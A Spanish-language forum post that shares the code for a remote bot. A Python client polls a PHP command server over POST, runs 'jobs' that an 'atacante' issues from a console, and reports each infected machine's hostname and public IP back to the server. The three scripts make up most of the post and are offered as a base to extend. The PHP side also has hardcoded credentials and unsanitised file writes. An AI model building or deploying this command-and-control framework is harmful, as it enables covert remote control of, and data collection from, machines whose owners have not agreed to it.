[APORTE] Bot vía peticiones POST

Iniciado por skollprog, Diciembre 26, 2017, 09:46:00 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Buenas gente, estoy trabajando en un proyecto en el cual
se puedan generar bots remotos customizados mediante
una propia terminal de comandos.

Cómo funciona este bot?

El atacante emite tareas a ejecutar ("jobs") mediante
la terminal del mismo; éstas se emiten mediante peticiones
de tipo POST al servidor donde el bot va a hacer preguntas
constantes para saber si hay tareas a ejecutar.

Cuando el bot encuentra un "job", guarda la fecha y la
hora en la cual se emitió este (para no volver a ejecutarlo
una y otra vez en cada loop), lo parsea convirtiéndo toda
la cadena de texto en argumentos para poder analizarla
de manera más detallada, y luego ejecuta el "job" en cuestión.

Una vez terminado el "job", se genera un mensaje de reporte
("feedback") el cual es enviado al servior, para que el atacante
pueda saber si la tarea fue ejecutada o no. Cabe destacar que
sólo se va a enviar el "feedback" si se define dentro de la
función a ejecutar.

A continuación les dejo el código base que armé pero de forma
que uds puedan modificarlo a gusto.

Estructura del bot (Python)

Código: python
import requests
import socket
import time

def ip():

try: return requests.get("http://ip.42.pl/raw").text
except: return "unknown"

def query(data):

url = data["url"] + "remote.php"
return requests.post(url, data).text

data = {

"sys"      : "remote_bot",
"url"      : "http://192.168.0.7/", # configurable
"user"     : "skollprog", # configurable
"pass"     : "123456", # configurable
"id"       : "bot", # configurable
"hostname" : socket.gethostname(),
"address"  : ip(),
"feedback" : "Online",
"database" : "remote_db", # configurable
"jobs"     : "remote_jobs", # configurable
"sync"     : 1 #configurable
}

jobs = []

def job(argv):

args = len(argv)
date = argv[0] + " " + argv[1]

if not date in jobs:

jobs.append(date)

i = 0
for arg in argv:
argv[i] = arg.strip("\n")
i += 1

argv = argv[2::]

if argv[0] == "ip": data["feedback"] = ip()

while True:

try:
# buscar job
result = query(data).split(" ")
data["feedback"] = ""
job(result)

# emitir feedback
query(data)
data["feedback"] = ""

except:
pass

time.sleep(data["sync"])


Archivo Servidor (PHP)
(Este debe ir dentro del servidor al cual el bot va a hacer averiguaciones.)

Código: php
<?php

if (isset($_POST["sys"]) and $_POST["sys"] == "remote_bot")
{

if (isset($_POST["user"]) and isset($_POST["pass"]))
{
$user = $_POST["user"];
$pass = $_POST["pass"];

if ($user == "skollprog" and $pass == "123456")
{
if (isset($_POST["id"]) and $_POST["id"] != "")
{
$id   = $_POST["id"];
$time = date("Y-m-d H:i:s");

if (isset($_POST["job"]))
{
$job  = $_POST["job"];
$jobs = $_POST["jobs"].".txt";

$data = [
$time, $job
];

$file = fopen($jobs, "w");
fwrite($file, implode(", ", $data) . "\n");
fclose($file);
}
else
{
$host = $_POST["hostname"];
$addr = $_POST["address"];
$info = $_POST["feedback"];
$db   = $_POST["database"].".txt";
$jobs = $_POST["jobs"].".txt";

if ($info == "" and file_exists($jobs))
{
$data = file($jobs);
echo $data[count($data)-1];
}
else
{
if (!file_exists($db))
{
$data = [
"DATE, ID, HOSTNAME, ADDRESS, FEEDBACK\n"
];

$file = fopen($db, "w");
fwrite($file, implode(",", $data));
fclose($file);
}

if ($_POST["feedback"] != "")
{
$data = [
$time, $id, $host, $addr, $info
];

$file = fopen($db, "a+");
fwrite($file, implode(", ", $data) . "\n");
fclose($file);
}
}
}
}
}
}

}
else
{
echo "You cannot access here!";
}

?>


Consola Cliente (Python)
(Este se usa para enviar los "jobs".)

Código: python
import requests
import sys

def query(data):

try:
url = data["url"] + "remote.php"
return requests.post(url, data).text

except:
return ""

data = {

"sys"  : "remote_bot",
"url"  : "http://192.168.0.7/", # configurable
"user" : "skollprog", # configurable
"pass" : "123456", # configurable
"id"   : "bot", # configurable
"jobs" : "remote_jobs", # configurable
"job"  : ""

}

while True:

sys.stdout.write("./remote_bot:// ")
job = input("")
data["job"] = job
query(data)


Para acceder a los "feedback", simplemente se debe entrar a
No tienes permitido ver los links. Registrarse o Entrar a mi cuentaremote_db.txt

(Obviamente la url cambia según cuál hayan especificado.)

Un ejemplo de cómo se ven los "feedbacks":

Código: dos
DATE, ID, HOSTNAME, ADDRESS, FEEDBACK
2017-12-26 07:15:45, bot, PC-SKOLLPROG, 181.46.39.228, Online


Espero que les guste, saludos.